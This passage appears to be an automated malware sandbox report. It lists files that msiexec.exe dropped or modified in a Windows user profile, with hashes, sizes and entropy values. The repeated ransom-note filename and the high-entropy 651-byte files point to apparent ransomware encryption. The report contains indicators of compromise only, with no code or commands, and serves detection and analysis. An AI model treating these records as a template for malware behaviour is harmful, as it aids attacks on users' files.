C:\Users\user\AppData\Local\Microsoft\Windows Mail\edb.chk
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.679961889767598
Encrypted:	false
MD5:	B6B0EAC5417CBCA621E184DAF0A0752B
SHA1:	E2318CCBE8459C170C754EB3FD8A3FF8D367DBC8
SHA-256:	E039AA47A141C8A38E5BA6F72227E5AD02734EB578FAB0B9CF00EC5065CF97F1
SHA-512:	53133573115FA64B293A4CA01737D61E22D6CD81EFF50E13F15507FB99E1BAC063E60C50889852D6A1BCF0312FB77A465C895718A4418F35FE2CEDD190A8B2AC
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\edbres00001.jrs
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6530749210853966
Encrypted:	false
MD5:	9DC4359C2FF20F0F232423652AFD9C8E
SHA1:	1DD0747D1D20774887C6322BA481DE678BF4E079
SHA-256:	B91598B6857480EF9EB0862AFC3B662A18A43468772400690835B165F5A874A5
SHA-512:	FDE7F89485088C9C440262AE6C8950DA3B9C272AC7C6CF9DAE0337D927EC089F276360B8728FE91EEFD4EDF01B38D0CCCA4A09331EEC484BD84EEAD061E4F1C6
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\edbres00002.jrs
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701278651707319
Encrypted:	false
MD5:	0F9B86F2633818810C8949C73A605EA9
SHA1:	1F1D9AB29EB180ACD404A981A4F7950E823FD34E
SHA-256:	3974A3DAA0A7757381E9F35F5CFF21C10A1D9CF16E6BDB261F881E1F620A5EE5
SHA-512:	21264C002023689E25E59DA7007AE21C968EF939C64225BF829836DE76EC01286377BD0D837AA2B75324DA26C5D8C2EA2BA32062A42C0F726DF91B88C3F845CE
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\oeold.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.648283192239377
Encrypted:	false
MD5:	45D8092C1B261514AE8295E88739A9B6
SHA1:	7635AFA418E353238922E2457AE5BC7996A782C9
SHA-256:	AC6BE97434EF3286B3B16BAC325446232676CE0DC7F6711486B3D32400FE53C6
SHA-512:	D95FF0A0A8E57CDFFE8F5ABA9B54233693A02D96054B83B2FBF00C0D9BF39C7C033535B2F605DC94F811B84B52D09BE29D716490823E1873EC086E4BFCFA8A07
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Media\12.0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.DTD
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6745448326271735
Encrypted:	false
MD5:	6D6E145248244864AEA9B9A16CE6C690
SHA1:	89447B3430949FA299160BC30D4345F9959F887C
SHA-256:	219523DE44FC2EFBC43D3DC3EFF6473CD9BF845D9901DD64718E53D36DB550D1
SHA-512:	41651469AF625B4E2729C446DFD10A13EAA190266C068BB8EC0D4DF6B39662CC193E5DE9BE0ADE55847198F8B2F5977529259B2B4C402F27DE055132E70808D2
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.686251256195847
Encrypted:	false
MD5:	54F24FB0981DBDC59E2E6398538AC7A8
SHA1:	63A90E28BA200CF56F6837652B0341418B0DD174
SHA-256:	14F88022D7245B91C6159C9F283B829E3253C2B523D2CBF50BDF09AFA56401A1
SHA-512:	393F53D9DE9592E55C4534E67D9AABBA4E5F8FD2D16FA89437BA4C01B94903873CFF440B2AD8264989941148AEB69D051E950C4F13589220039A0C2BEA295F60
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Sidebar\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Sidebar\Settings.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682128986543504
Encrypted:	false
MD5:	97C7E0896E56E9CB7EE2265DB7309BCE
SHA1:	759885DEDCB4D7F51E3EC7FEBE4279C8AE78C1A0
SHA-256:	23C8BA8C7DC2D2D72E355F6A6DD84B97155FC90DDEF61C8C69F9C519926552A0
SHA-512:	3CF56C51E8A4B6F11FE80299093916C973B24FFCEFE80F71D4E92D449DC970B40CABFF5E8968B620F1C2094830CD202043861D8991FEF79B2671AD055F9A9255
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\10.0\Security\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\10.0\Security\CRLCache\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.694297396506962
Encrypted:	false
MD5:	E640EB99E415D1CC1862796E2DB36766
SHA1:	6A55605F7334B840CCDAEF0B5E9D2DB2046BD5F9
SHA-256:	A4737D74552DDA7DAEF2081DD748E6FF1BB98E82EC05E0F4BA015830527F4FC6
SHA-512:	55CD2648C6F9236A9125DA4D821E96B60C2BE7B75E8656949E53468217CA1D6E6E2B2A89CFB867DF1D5D4BC31A617C1B54E30F17AFF0430357429C1D88521BD1
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\10.0\Security\CRLCache\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\10.0\Security\CRLCache\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.719239906316321
Encrypted:	false
MD5:	4DF8A01F0C7BD33A2E2FCCE48BB45679
SHA1:	713852C847FA9A04C8050154532AABEADFE6A213
SHA-256:	822A1512B68BD100F2576AC1D965EE860196F2ADEF2500E4E6781A5199656602
SHA-512:	46B6D7C3E50BC6BEE5B69A2128B388B4E667FFED7CF300319AF4964DE7128ABCF77E25B31CF09018A9CCD4A697AEDD5919036E5F15A28A2FD66A8551367CFCE1
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\10.0\Security\addressbook.acrodata
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682683638811115
Encrypted:	false
MD5:	886C4D603161266AC5CB107E2621C448
SHA1:	6CAD5F60F6A9D2CD80A84584E78D9102343DD331
SHA-256:	71A891E31DC3DB15E0A88062F2FDD3CE61CD1922370D61544A92AD5117396F1D
SHA-512:	35DA5B0DBD5C7CEF951FCD08EDEFD9B6B1786F65669B32FB27903D7F404C4B211BCBC300F8EC48592817FFFD2C155B5DABA0DCA9D9A32B8C907367133AACA617
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\JSCache\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\JSCache\GlobData
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.674322937983961
Encrypted:	false
MD5:	DE37DD1837DBC51FAFACC8307441887C
SHA1:	48BA6DD596CDB7A7612FE3B24C7FFA75EE1A9F08
SHA-256:	FC513E87DD2FBDCCC786CD45FCE7E8F71FA114B0DCB658714A670227B17260F1
SHA-512:	5198B3B6CD33AE4BDC99ACE085B99C1C9629F23386DEDBA922BFB3CD49DAC477B659287A51A4399601AF2614638ED02F9150AAC24CBBFB615F470C662878B00E
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\JSCache\GlobSettings
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.694737224374839
Encrypted:	false
MD5:	A364D4C0CE8B5B4A696523BE57C08D25
SHA1:	C1B7552DB0BDAB71A078424FCB4563F121B10C33
SHA-256:	4ABC3B91EA652DA6B4B79B7C238D350643924897B5585ABACF355FA42FDC1D48
SHA-512:	8D1F8F0303D42CE925BAB6F66989419A9F5BE756D9540A71F1750B9BB67C04FAE2D244EE2C867121313C354589683003D8A5B67E45D02B27E9BCB44CAB3B08CA
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\CRLCache\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.707690171509558
Encrypted:	false
MD5:	162E765A985C86395CA74BC386AD8969
SHA1:	3D876E53C3042A50CC9310C9C8DFAC061AF30B8E
SHA-256:	B749A13634F966A1FDBA915ECFA12B5AA7B8C598FCF883FA5A25424BA59794E2
SHA-512:	D346F7049EBD68A780822909FDAE641CB8EABACC5F90B3C48584DFF826AED408BD8E452D65A16E2B5C5630452F626D0291F0DED4CFD70853923128CAAC4B14BE
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\CRLCache\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\CRLCache\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.662734624397042
Encrypted:	false
MD5:	DBD8650E31F2E033C324A555291C064C
SHA1:	AA0F63B3A32EFC9FEA40D24078F52A74AB6C478A
SHA-256:	2E77506EF82B18B251A5C1782E720184B6AFAF2DB4225976A79725FD8FA60840
SHA-512:	28B6EB95CD1505749C41B57BFA417475613246FA3146987BA15B7AA82D25ED2A88EF1836D5F8A2935C8850BE27CA8EAFB2EDA5BDE7FFAD4F77B24E051A10407C
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\addressbook.acrodata
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.739834377118749
Encrypted:	false
MD5:	D1813F87266AEE34590F9FDD4452B5CF
SHA1:	960231699CAF2EE099D9B225781077C25EB1187B
SHA-256:	8E801C3B2EE301DB3DCD32F8200186A1A5D631FEA9E008FD39601FC0EDA9FDF7
SHA-512:	BE78B391CF1EEE8E4BF303648D8BA3A45948081033A95EC398CE17D931F728981992041E003496057455D3CB4683D350CDA08B49C8C427194EAEFF39A4B597B1
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\services_rdr.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.67877239566789
Encrypted:	false
MD5:	4C526424BC479089D1FEC60A01F74942
SHA1:	DE381D70E797ED510412AB3384738362491EDDA2
SHA-256:	53F77D243293DFCEC738E5DCE114D852DA72C543986EEFE418B904A85E993A94
SHA-512:	6BF1E8B67A91CC69D3D7170D5FEB7A94B76FD5D0FC2DC807F48EA23C337A5B1A80F3DB35995842636123F256C2001695084ADD6A03ADEDF96A4D071E89C34D62
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\services_rdri.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.656167752955628
Encrypted:	false
MD5:	BEE5A94B48B9198C0C347F58C85B72B3
SHA1:	C37AC5B0BD45C7F28068B8A1A57D6D0FA01A8220
SHA-256:	BB84DA1E33BE1C86EFFEF3267A1F22382389C71F14A24BD7C43FF58A914D7B2C
SHA-512:	000D7EA631A1F976001E603F3F577B5DCE8CF904720CFB861616884980135EA60612D65AAFABE05FA8AEDA800586C3A7AB635256A381242D6DC66FB4E08D53AA
Malicious:	false

C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\services_rdrk.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697735377412959
Encrypted:	false
MD5:	96D5578431BEC97970B883CBCF522458
SHA1:	865F71A68BCF4E4A8C1730FB00845EB9C622BAC8
SHA-256:	9DF404AEE397355380918D60D4A4F1A00151A829FBFAEB45AC121F2B01655C85
SHA-512:	729728F362951E07D41BD9D260E51F1A88B484CDA295159FF0C72C51C72972F40D7D91ECA7C3000BF2EFD4D7652CB3DFE4DF0FB6E8DDA4BB6EBD98DA218BFE1C
Malicious:	false

C:\Users\user\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\settings.sol
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.670934421465887
Encrypted:	false
MD5:	3FF590076DC39DFEB6CF02597E69B27A
SHA1:	7286F94EC10137CE0F856458DFE9DD94F0653B88
SHA-256:	A2AB5FE46FCA2156B94783C80DC23BF3C6B815E20EE14C3B6029B62E4F9139D6
SHA-512:	91B038747FB7ED1C45ADB3B494286212D7F358DB85B7FA4120AD0F2035F7D584763E6086B73CCD1472BDAC5F40D81043B39DA43D3807846EF258125920650551
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\64bit\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\64bit\security.config.cch
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.718439610178001
Encrypted:	false
MD5:	C42AF1AE4A4C47D47ECB7CBF95174D39
SHA1:	536BAFCEE62804C9180E950B1F92342B02480228
SHA-256:	F91508B96B97FF24407E4450CE5C130AD78DC92796F10D89DE0A37329DA18982
SHA-512:	7D356B638BC093D6BB569C300418BA4CBCB7D899D3EB1850E311113E14AFB26341BD9075A6B362381B11EE13BEFEC73090211F725E5E68223D9BA23B78210D7F
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2324872810-588167701-2066199298-1000\65c557ac0ca802e0480fa7c60d3b9624_7e2fc311-73fb-42ad-a063-76a00c81bd47
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.658971485892405
Encrypted:	false
MD5:	4524EAB296C886EFDD33E2C69DCF1F72
SHA1:	AB0D4E912237086631C5E7618FFDFDC8672AEDBF
SHA-256:	57DE2C67E1C122EB8CB43B712D70F6B920C8A4B073D3A69BF22837AE6D05D322
SHA-512:	59873F8A7E972A93DA12B789C510D8C4057277982DA7EB698096096A4CBF1E98608F1CBFF22A647ADB853850DEB4AE4F119D44F4793E942F39742DA01036520D
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2324872810-588167701-2066199298-1000\6b29ae44e85efac3c72ff4d1865d73f1_7e2fc311-73fb-42ad-a063-76a00c81bd47
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7314425980898625
Encrypted:	false
MD5:	940980777868D78AA6A0E21F4EBD7B43
SHA1:	CA1049D31ACA35453C411009746C26F7FDB57091
SHA-256:	0F42EFA98DF02F01AE51742E0183CF70CEF93C60EA56458BE921339E086F6CF5
SHA-512:	7F6D5A7C94C6981D16114D5F47C7AE9CA1A11479347FC3643CD86751927220A6A1C17E0AD5E69468B7171F226500675A6A5FC9216254030FDC3E694F1748C131
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2324872810-588167701-2066199298-1000\83aa4cc77f591dfc2374580bbd95f6ba_7e2fc311-73fb-42ad-a063-76a00c81bd47
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.631738031051717
Encrypted:	false
MD5:	EAD508CEC7ACEBBCE599A11ED9F384EE
SHA1:	E3C5D3112A8AF8089E8845CE4B05E961E743F7B5
SHA-256:	B04719F34D1048F70D8D013F41F4529A535521AD3FC9E673EAF023A678A59526
SHA-512:	335650C234D7D663BC1145A3D755820025A03EEC6A902E08FDA93BA39DDC9D32AB273C4AE301BBA969E52712C80E63891DB70188639EF86A5D93C5887255DACC
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2324872810-588167701-2066199298-1000\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\HTML Help\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\HTML Help\hh.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.70218062010048
Encrypted:	false
MD5:	384A64EA86B11F4F32DAD0A13A112689
SHA1:	E6BAEED59C1270717218EDCF1590968EE713846B
SHA-256:	1D5BD350D6BAFB94B370D03C876E47FD76B5CFA058E37F812F2B93BE65447376
SHA-512:	5A9E98F76E2B951A9A9723DB4FC9B513798ACE948D6497C5522301B0D7B0012EAB4E75CD6ABB5D9DCA6A8266B3BEB11D46D4ED08C146F4767EDE8A242A2C1207
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.669328359043781
Encrypted:	false
MD5:	B2AC2B14E19D03AEF219D7A995F8F14E
SHA1:	8F8FEC945D7A37242F92F9D7776DA251F315D20C
SHA-256:	1BADDA0266C52D814C5E894576B91F22736BAF276DDF4986DE806EE13102178B
SHA-512:	BB93167F26159990A94925E0E46178F93338C2D529A379DE965B5847CDA670A7527B9131FDD32E47E944849989F91D1B9DAE22BAF4492957D84F9EDA98581B74
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.702269746813448
Encrypted:	false
MD5:	3D638E0DC39E5591FC790A4542890C30
SHA1:	ED7E5F67E6E3F6FD792C71E71502256989C42073
SHA-256:	32F05515D73146ACE7AC2BEA37F1B40E9D5BBA3BBAD51EC936D77C7A946FB901
SHA-512:	5F8A6F5B6CD619D307737DDE79B1DCABC4B65C9FF4FC9DCF032D3F35596220B254F2AD589E723ACDAD801AC722F8180B5439FF95A011D2E72C56D42D70C8E2FB
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\UserData\YTTR2ZIS\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\UserData\YTTR2ZIS\fingerprint[1].xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682637559452547
Encrypted:	false
MD5:	A4922E1D661A34B2E150D714F073BC93
SHA1:	7B0BBF233DBCCC685965BA01CD231C76A227B462
SHA-256:	7B64ED17C8A38E7F2BF904B361CC20852D6BF0F59A7469872B622A56A2A1A7E4
SHA-512:	9FBE4A678587EBAFFF95616FBD311352EA966369881BE4DE4BF5EBB060154BADF28903EA56AD231BC29CB564FA743B3CF529A694DE17E4C3C4756BD6A4E26C10
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\MMC\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\MMC\eventvwr
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.676161256027703
Encrypted:	false
MD5:	A72A0FECD43E79A21F5D28C62560C4A9
SHA1:	B29B36EC34C6814122E0A093C245B406F5C7C1F3
SHA-256:	F117B784E916368B5B39FF91D84DFD218F3EA47DB85D48F7897886123E081282
SHA-512:	B1552AB5BBEEB4E0FCB5F7B135C69C42B11D70AA000F61CFE7D81FD87D9DCE8DB11799EEF9D1A5CB529B91D8E03F62DD9BD0DC4C0D3833218C77B15227FEDC83
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Office\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO1033.acl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.743526839596602
Encrypted:	false
MD5:	35018FA87B7D7DA61B2BB7C4BA78C055
SHA1:	0ACF643BE26DE39A263792DACFF1ACB34F21C360
